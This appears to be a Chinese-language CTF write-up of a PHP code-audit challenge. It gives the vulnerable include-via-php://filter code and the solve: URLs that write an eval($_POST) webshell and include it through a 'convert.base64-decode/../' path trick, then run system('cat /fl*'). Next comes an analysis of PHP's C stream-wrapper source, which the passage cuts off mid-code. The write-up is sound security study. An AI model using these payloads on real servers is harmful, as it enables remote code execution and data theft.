概述
前言
当时比赛没报名,借了个号上去瞅了一眼题目,看到这个PHP代码审计比较亲切就做了这一题,当时也是通过报错大胆尝试成功试了出来解法。
赛后花爷拿着我的wp去了p神的知识星球问了一下原理,P神给了个解答,但是自己还没有看过PHP的C代码所以很难理解(实际上都一年没有碰过C语言了)。恰好打算把最近的事情忙完就去学学PHP的底层,过了这么些天,昨天弄好了vscode调试PHP的C代码的环境,今天仔细研究了一下终于有点懂了,而且第一次看PHP的底层C,感觉学到了好多的东西。
做题时候写的WP
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}
在最后一行代码那里正常包含文件?action=r&r=d0165506bd
,发现有这些warning:
发现这么一行很奇妙的warning:
Warning: include(): unable to locate filter "d0165506bd" in /var/www/html/index.php on line 16
传过去的不是文件名吗,怎么被当成过滤器了???
但是能成功包含出内容,所以这是又被当成过滤器又被当成文件了?那尝试路径穿越写马:
http://124.70.181.14:32766/?action=w&c=<?php eval($_POST[0]);?>
http://124.70.181.14:32766/?action=r&r=convert.base64-decode/../d0165506bd
0=system('cat /fl*');
成功getshell。
原理分析
至于为什么是这样的,拿vscode调试一下底层的C就知道了。
<?php
include("php://filter/resource=./read=convert.base64-decode/../test.php");
入口点是php-src-PHP-7.2extstandardphp_fopen_wrapper.c
的php_stream_url_wrap_php()
函数,放出关键代码:
php_stream * php_stream_url_wrap_php(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
zend_string **opened_path, php_stream_context *context STREAMS_DC) /* {{{ */
{
int fd = -1;
int mode_rw = 0;
php_stream * stream = NULL;
char *p, *token, *pathdup;
zend_long max_memory;
FILE *file = NULL;
#ifdef PHP_WIN32
int pipe_requested = 0;
#endif
if (!strncasecmp(path, "php://", 6)) {
path += 6;
}
.......
} else if (!strncasecmp(path, "filter/", 7)) {
/* Save time/memory when chain isn't specified */
if (strchr(mode, 'r') || strchr(mode, '+')) {
mode_rw |= PHP_STREAM_FILTER_READ;
}
if (strchr(mode, 'w') || strchr(mode, '+') || strchr(mode, 'a')) {
mode_rw |= PHP_STREAM_FILTER_WRITE;
}
pathdup = estrndup(path + 6, strlen(path + 6));
p = strstr(pathdup, "/resource=");
if (!p) {
zend_throw_error(NULL, "No URL resource specified");
efree(pathdup);
return NULL;
}
if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) {
efree(pathdup);
return NULL;
}
*p = '